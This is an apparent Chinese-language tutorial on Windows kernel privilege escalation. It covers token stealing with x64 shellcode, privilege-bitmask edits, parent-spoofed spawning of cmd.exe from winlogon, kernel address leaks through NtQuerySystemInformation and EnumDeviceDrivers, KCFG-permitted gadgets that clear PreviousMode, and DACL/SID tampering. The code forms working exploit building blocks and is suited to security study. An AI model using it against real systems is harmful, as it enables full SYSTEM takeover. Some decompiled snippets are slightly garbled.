关于windows LPE的一些总结
token提权 _TOKEN
是一个内核内存结构,描述进程的安全上下文,并包含诸如进程令牌权限、登录 ID、会话 ID、令牌类型(即主令牌与模拟令牌)等信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 struct _TOKEN { struct _TOKEN_SOURCE TokenSource ; struct _LUID TokenId ; struct _LUID AuthenticationId ; struct _LUID ParentTokenId ; union _LARGE_INTEGER ExpirationTime ; struct _ERESOURCE * TokenLock ; struct _LUID ModifiedId ; struct _SEP_TOKEN_PRIVILEGES Privileges ; struct _SEP_AUDIT_POLICY AuditPolicy ; ULONG SessionId; ULONG UserAndGroupCount; ULONG RestrictedSidCount; ULONG VariableLength; ULONG DynamicCharged; ULONG DynamicAvailable; ULONG DefaultOwnerIndex; struct _SID_AND_ATTRIBUTES * UserAndGroups ; struct _SID_AND_ATTRIBUTES * RestrictedSids ; VOID* PrimaryGroup; ULONG* DynamicPart; struct _ACL * DefaultDacl ; enum _TOKEN_TYPE TokenType ; enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel ; ULONG TokenFlags; UCHAR TokenInUse; ULONG IntegrityLevelIndex; ULONG MandatoryPolicy; struct _SEP_LOGON_SESSION_REFERENCES * LogonSession ; struct _LUID OriginatingLogonSession ; struct _SID_AND_ATTRIBUTES_HASH SidHash ; struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash ; struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION * pSecurityAttributes ; VOID* Package; struct _SID_AND_ATTRIBUTES * Capabilities ; ULONG CapabilityCount; struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash ; struct _SEP_LOWBOX_NUMBER_ENTRY * LowboxNumberEntry ; struct _SEP_CACHED_HANDLES_ENTRY * LowboxHandlesEntry ; struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION * pClaimAttributes ; VOID* TrustLevelSid; struct _TOKEN * TrustLinkedToken ; VOID* IntegrityLevelSidValue; struct _SEP_SID_VALUES_BLOCK * TokenSidValues ; struct _SEP_LUID_TO_INDEX_MAP_ENTRY * IndexEntry ; struct _SEP_TOKEN_DIAG_TRACK_ENTRY * DiagnosticInfo ; struct _SEP_CACHED_HANDLES_ENTRY * BnoIsolationHandlesEntry ; VOID* SessionObject; ULONGLONG VariablePart; };
在描述进程的_EPROCESS
有一个Token字段, 但这个字段却不是本进程的_TOKEN
, 而是一个_EX_FAST_REF
结构体, 当然Object字段指向对应的_TOKEN
1 2 3 4 5 6 7 8 9 10 struct _EX_FAST_REF { union { VOID* Object; ULONGLONG RefCnt:4 ; ULONGLONG Value; }; };
略微注意RefCnt字段, 在64位系统下, 结构体内存空间是16对齐的, 所以最低4位可以用以存储一些其他信息, 只需要在使用时将这4位清除即可
进程对应的_TOKEN结构体决定了进程的权限, 如果能在token上做些手脚, 提权自然不在话下
Replacing Tokens for Privilege Escalation 内核漏洞利用提升权限的一种方式是通过将低权限令牌替换为高权限令牌
常常是将当前进程的token替换为高权限进程的token, 常用的例如system进程(PID==4)
流程图类似
对应shellcode实例(x64)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 SECTION .start_magic db "magic1" SECTION .text ;db 0xcc start: xor rax, rax mov rax, [gs:rax + 188h] ; gs[0] == KPCR, Get KPCRB.CurrentThread field mov rax, [rax+0xb8] ; Get (KAPC_STATE)ApcState.Process (our EPROCESS) mov r9, rax; ; Backup target EPROCESS at r9 ; loop processes list mov rax, [rax + 0x448] ; +0x448 ActiveProcessLinks : _LIST_ENTRY.Flink; Read first link mov rax, [rax] ; Follow the first link system_process_loop: mov rdx, [rax - 0x8] ; ProcessId mov r8, rax; ; backup system EPROCESS.ActiveProcessLinks pointer at r8 mov rax, [rax] ; Next process cmp rdx, 4 ; System PID jnz system_process_loop mov rdx, [r8 + 0x70] and rdx, 0xfffffffffffffff8 ; Ignore ref count mov rcx, [r9 + 0x4b8] and rcx, 0x7 add rdx, rcx ; put target's ref count into our token mov [r9 + 0x4b8], rdx ; rdx = system token; KPROCESS+0x4b8 is the Token, KPROCESS+0x448 is the process links - 0x70 is the diff ;db 0xcc ret_to_usermode: ;sti mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread mov cx, [rax + 0x1e4] ; KTHREAD.KernelApcDisable inc cx mov [rax + 0x1e4], cx mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame mov rcx, [rdx + 0x168] ; ETHREAD.TrapFrame.Rip mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp ;db 0xcc xor eax, eax ; return STATUS_SUCCESS to NtDeviceIoControlFile swapgs o64 sysret ; nasm shit SECTION .end_magic db "magic2"
对于64位有一个要注意的点:
之前有提到_EX_FAST_REF结构体的RefCnt字段, 在我们得到目标高权限进程的token后, 首先要去除原先的RefCnt, 然后将低权限进程的RefCnt添加到token
这样提权后可以直接system("cmd")
弹出拥有高权限的shell
Modifying Token Privileges 在_TOKEN
结构体中存在一个字段
1 struct _SEP_TOKEN_PRIVILEGES Privileges ;
_SEP_TOKEN_PRIVILEGES
结构体是_TOKEN
结构体真正用于记录权限的部分
1 2 3 4 5 6 7 struct _SEP_TOKEN_PRIVILEGES { ULONGLONG Present; ULONGLONG Enabled; ULONGLONG EnabledByDefault; };
其中Present代表可用权限, Enabled代表可用权限中开启了的部分
二者的每一个bit位代表着一个权限(当然并没有64个那么多权限, 但是未定义部分置位也不会影响什么), 对于system进程其两者字段都是0x0000001ff2ffffbc
所以如果拥有任意写的能力, 将_SEP_TOKEN_PRIVILEGES
的两个字段都置位, 也可以开启当前进程的高权限进行提权
这样提权就没法直接使用system获取shell了(产生的shell并不会继承高权限)
所以我们需要利用进程现有的高权限对本就拥有高权限的进程进行注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 DWORD CreateProcessFromHandle (HANDLE Handle, LPSTR command) { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T size; BOOL ret; ZeroMemory(&si, sizeof (STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL , 1 , 0 , &size); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( GetProcessHeap(), 0 , size ); InitializeProcThreadAttributeList(si.lpAttributeList, 1 , 0 , &size); UpdateProcThreadAttribute(si.lpAttributeList, 0 , PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof (HANDLE), NULL , NULL ); si.StartupInfo.cb = sizeof (STARTUPINFOEXA); ret = CreateProcessA( NULL , command, NULL , NULL , true , EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL , NULL , reinterpret_cast<LPSTARTUPINFOA>(&si), &pi ); if (ret == false ) { printf ("CreateProcessFromHandle failed with error = \n" , GetLastError()); return 3 ; } return 0 ; } VOID getshell () { HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0 , GetPidByName(L"winlogon.exe" )); if (!hWinLogon) { printf ("[-] OpenProcess failed with error = %lx\n" , GetLastError()); return FALSE; } CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe" ); }
KASLR KASLR的存在使得如果不能leak出相关内存空间信息, 漏洞利用的难度成倍递增
好在的是, 不同于Linux下对内核内存空间信息的控制那么严格, windows为了保证用户开发生态, 开放了许多获取内核地址空间信息的API
NtQuerySystemInformation就是其中最强大的一个
1 2 3 4 5 6 __kernel_entry NTSTATUS NtQuerySystemInformation ( [in] SYSTEM_INFORMATION_CLASS SystemInformationClass, [in, out] PVOID SystemInformation, [in] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength ) ;
SystemInformationClass : 一个 SYSTEM_INFORMATION_CLASS
枚举值,指示要查询的信息类型。
SystemInformation : 一个指向缓冲区的指针,函数将返回查询到的信息。这些信息的结构类型依赖于 SystemInformationClass
参数。
SystemInformationLength : 缓冲区的大小(以字节为单位)。如果缓冲区太小,函数将返回 STATUS_INFO_LENGTH_MISMATCH
,并更新 ReturnLength
以指示所需的缓冲区大小。
ReturnLength : 这个参数是一个指向 ULONG
的指针,函数将通过它返回所需的缓冲区大小,特别是在缓冲区不足的情况下。
NtQuerySystemInformation根据参数SystemInformationClass可以查询二三百种系统信息, 详细可参考SYSTEM_INFORMATION_CLASS - NtDoc
但主要用到也就两三个
1 SystemModuleInformation = 11
主要用于获取模块信息, 返回类型为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; #ifdef _WIN64 ULONG Reserved3; #endif PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; CHAR Name[255 ]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1 ]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
应用举例: 获取系统模块地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 UINT_PTR GetKernelModuleAddress (const char * TargetModule) { NTSTATUS status; ULONG ulBytes = 0 ; PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL ; while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (handleTableInfo != NULL ) { handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes); } else { handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes); } } if (status == 0 ) { for (ULONG i = 0 ; i < handleTableInfo->ModulesCount; i++) { char * moduleName = strstr (handleTableInfo->Modules[i].Name, TargetModule); if (moduleName != NULL ) { return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress; } } } else { if (handleTableInfo != NULL ) { printf ("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n" , status); HeapFree(GetProcessHeap(), 0 , handleTableInfo); return 0 ; } } HeapFree(GetProcessHeap(), 0 , handleTableInfo); return 0 ; }
例如得到内核加载基址
1 module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe" );
1 SystemHandleInformation = 16
SystemHandleInformation
查询返回的内容是关于系统中所有打开的句柄的信息,这些句柄可能属于进程、线程、文件等, 返回类型如下
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct _SYSTEM_HANDLE { USHORT HandleValue; UCHAR ObjectType; UCHAR Flags; USHORT UniqueProcessId; ULONG Object; } SYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1 ]; } SYSTEM_HANDLE_INFORMATION;
应用举例: 通过句柄得到指定进程的句柄对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int32_t GetObjPtr (_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle) { int32_t Ret = -1 ; PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0 ; ULONG ulBytes = 0 ; NTSTATUS Status = STATUS_SUCCESS; while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004 L) { if (pHandleInfo != NULL ) { pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t )2 * ulBytes); } else { pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t )2 * ulBytes); } } if (Status != NULL ) { Ret = Status; goto done; } for (ULONG i = 0 ; i < pHandleInfo->NumberOfHandles; i++) { if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short )handle)) { *ppObjAddr = (unsigned long long )pHandleInfo->Handles[i].Object; Ret = 0 ; break ; } } done: if (pHandleInfo != NULL ) { HeapFree(GetProcessHeap(), 0 , pHandleInfo); } return Ret; }
例如得到_EPROCESS地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); if (hCurproc != NULL ) { Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc); if (Ret != NULL ) { return Ret; } printf ("[+] Current EPROCESS address: %llx\n" , Curproc); } Ret = GetObjPtr(&Sysproc, 4 , (HANDLE)4 ); if (Ret != NULL ) { return Ret; } printf ("[+] System EPROCESS address: %llx\n" , Sysproc);
得到_KTHREAD地址
1 2 3 4 5 6 7 8 9 10 hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId()); if (hThread != NULL ){ Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); if (Ret != NULL ) { return Ret; } printf ("[+] Current KTHREAD address: %llx\n" , Curthread); }
EnumDeviceDrivers 同样是一个可以用于泄露内核基址的函数
EnumDeviceDrivers
函数存在于 psapi.h
中,可以枚举所有设备驱动程序,包括内核本身,并给出设备驱动程序的基址。它将返回一个设备驱动程序列表,其中第一个就是内核本身
1 2 3 4 5 BOOL EnumDeviceDrivers ( LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeeded ) ;
代码举例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <windows.h> #include <psapi.h> #include <vector> #include <iostream> void PrintDeviceDrivers () { std ::vector <LPVOID> drivers (1024 ) ; DWORD bytesNeeded; if (!EnumDeviceDrivers(drivers.data(), static_cast<DWORD>(drivers.size() * sizeof (LPVOID)), &bytesNeeded)) { std ::cerr << "EnumDeviceDrivers failed. Error: " << GetLastError() << std ::endl ; return ; } if (bytesNeeded > drivers.size() * sizeof (LPVOID)) { drivers.resize(bytesNeeded / sizeof (LPVOID)); if (!EnumDeviceDrivers(drivers.data(), static_cast<DWORD>(drivers.size() * sizeof (LPVOID)), &bytesNeeded)) { std ::cerr << "EnumDeviceDrivers failed after resizing. Error: " << GetLastError() << std ::endl ; return ; } } std ::cout << "Loaded Device Drivers:\n" ; for (size_t i = 0 ; i < bytesNeeded / sizeof (LPVOID); ++i) { TCHAR driverName[MAX_PATH]; if (GetDeviceDriverBaseName(drivers[i], driverName, MAX_PATH)) { std ::wcout << L"Driver: " << driverName << L" at address " << drivers[i] << std ::endl ; } else { std ::cerr << "Failed to get driver name. Error: " << GetLastError() << std ::endl ; } } } int main () { PrintDeviceDrivers(); return 0 ; }
KCFG KCFG对执行流劫持攻击有着强大的作用, 其中对于通过指针间接调用函数要求目标函数在给定函数表中
但给定函数表中也存在可以利用的函数
RtlSetAllBits 1 2 3 4 5 6 7 8 9 10 11 12 void stdcall RtlSetAllBits (PRTL_BITMAP BitMapHeader) { unsigned int * Buffer; unsigned int64 v2; / rdx Buffer = BitMapHeader->Buffer; v2 = (unsigned int64)(4 * (((BitMapHeader > SizeOfBitMap & 0x1F ) != 0 ) + (BitMapHeader->SizeOfBitMap >> 5 ))) >> 2 ; if ( v2 ){ memset (Buffer, 0xFF u, 8 * (v2 >> 1 )); if ((v2 & 1 ) != 0 ) Buffer[v2 - 1 ] = -1 ; } }
参数类型定义
1 2 3 4 5 struct _RTL_BITMAP { ULONG SizeOfBitMap; ULONG* Buffer; };
可以用来设置_SEP_TOKEN_PRIVILEGES
提权
RtlClearAllBits 1 2 3 4 5 6 7 8 9 10 11 12 void stdcall RtlClearAllBits (PRTL_BITMAP BitMapHeader) { unsigned int * Buffer; unsigned int64 v2; / rdx Buffer = BitMapHeader->Buffer; v2 = (unsigned int64)(4 * (((BitMapHeader > SizeOfBitMap & 0x1F ) != 0 ) + (BitMapHeader->SizeOfBitMap >> 5 ))) >> 2 ; if ( v2 ){ memset (Buffer, 0 , 8 * (v2 >> 1 )); if ((v2 & 1 ) != 0 ) Buffer[v2 - 1 ] = 0 ; } }
参数类型同上
可以用于清除_KTHREAD.PreviousMode
字段, 将其设置为KernelMode
一些函数会通过这个字段判断是否处于内核模式从而允许调用, 例如:
NtReadVirtualMemory
内存空间读
NtWriteVirtualMemory
内存空间读
特别可以NtWriteVirtualMemory
直接替换目标进程的token
ACL提权 每一个内核对象对有一个_OBJECT_HEADER
结构体, 用于描述关于该对象的元数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct _OBJECT_HEADER { LONGLONG PointerCount; union { LONGLONG HandleCount; VOID* NextToFree; }; struct _EX_PUSH_LOCK Lock ; UCHAR TypeIndex; union { UCHAR TraceFlags; struct { UCHAR DbgRefTrace:1 ; UCHAR DbgTracePermanent:1 ; }; }; UCHAR InfoMask; union { UCHAR Flags; struct { UCHAR NewObject:1 ; UCHAR KernelObject:1 ; UCHAR KernelOnlyAccess:1 ; UCHAR ExclusiveObject:1 ; UCHAR PermanentObject:1 ; UCHAR DefaultSecurityQuota:1 ; UCHAR SingleHandleEntry:1 ; UCHAR DeletedInline:1 ; }; }; ULONG Reserved; union { struct _OBJECT_CREATE_INFORMATION * ObjectCreateInfo ; VOID* QuotaBlockCharged; }; VOID* SecurityDescriptor; struct _QUAD Body ; };
Body就是实际的对象, 所以实际对象的地址 - 0x30
就是该对象的_OBJECT_HEADER
地址
SecurityDescriptor
是_OBJECT_HEADER
结构中的一个关键字段,它存储了对象的安全描述符(Security Descriptor),用于控制对该内核对象的访问权限
1 2 3 4 5 6 7 8 9 10 11 12 13 struct _SECURITY_DESCRIPTOR { UCHAR Revision; UCHAR Sbz1; USHORT Control; VOID* Owner; VOID* Group; struct _ACL * Sacl ; struct _ACL * Dacl ; };
在早期, 可以通过将SecurityDescriptor
修改为NULL, 使得一个地权限的用户也能够修改和编辑高权限进程, 从而可以进行进程注入获得shell
但没多久就被patch, 修改为NULL后会BOSD, 所以现在利用SecurityDescriptor
提权主要是通过任意写修改其Dacl
字段
DACL 的 任意访问控制列表 由对象的所有者或授予WRITE_DAC对象访问权限的任何人控制。 它指定特定的用户和组对对象的访问权限。 例如,文件的所有者可以使用 DACL 来控制哪些用户和组可以和不能访问该文件。
对象还可以具有与之关联的系统级安全信息,其形式为 系统访问控制列表 (SACL) 由系统管理员控制。 SACL 允许系统管理员审核获取对象访问权限的任何尝试。
Dacl指向一个_ACL结构体
1 2 3 4 5 6 7 8 9 10 11 12 struct _ACL { UCHAR AclRevision; UCHAR Sbz1; USHORT AclSize; USHORT AceCount; USHORT Sbz2; };
_ACL结构体后面跟着零个或多个 ACE 的顺序列表
常见ACE类型表
ACE类型
描述
ACCESS_ALLOWED_ACE
允许特定权限
ACCESS_DENIED_ACE
拒绝特定权限
SYSTEM_AUDIT_ACE
用于SACL,记录安全审计
SYSTEM_ALARM_ACE
用于SACL,触发警报
我们主要关注_ACCESS_ALLOWED_ACE
1 2 3 4 5 6 7 8 9 10 11 typedef struct _ACCESS_ALLOWED_ACE { ACE_HEADER Header; ACCESS_MASK Mask; DWORD SidStart; } ACCESS_ALLOWED_ACE; typedef struct _ACE_HEADER { BYTE AceType; BYTE AceFlags; WORD AceSize; } ACE_HEADER;
所以提权所要做的就是修改SID字段
常见的SID有
SID
描述
S-1-5-11
Authenticated Users (已认证用户)
S-1-5-18
Local System (系统账户)
S-1-1-0
Everyone (所有用户)
S-1-5-32-544
Administrators (管理员组)
例如winlogon进程的第一个ACE的sid就是S-1-5-18
如果将其修改为S-1-5-11, 那么较权限进程也能访问和修改winlogon进程
不过该提权方法,还需要修改漏洞利用进程的_token结构体中的MandatoryPolicy字段为0, 要不然会因为完整性的原因, 导致注入高权限进程失败
Value
Meaning
TOKEN_MANDATORY_POLICY_OFF 0x0
No mandatory integrity policy is enforced for the token.
TOKEN_MANDATORY_POLICY_NO_WRITE_UP 0x1
A process associated with the token cannot write to objects that have a greater mandatory integrity level.
TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN 0x2
A process created with the token has an integrity level that is the lesser of the parent-process integrity level and the executable-file integrity level.
TOKEN_MANDATORY_POLICY_VALID_MASK 0x3
A combination of TOKEN_MANDATORY_POLICY_NO_WRITE_UP and TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN .
不过既然如此麻烦, 还不如直接用token提权, 所以该提权方案实际上并不常用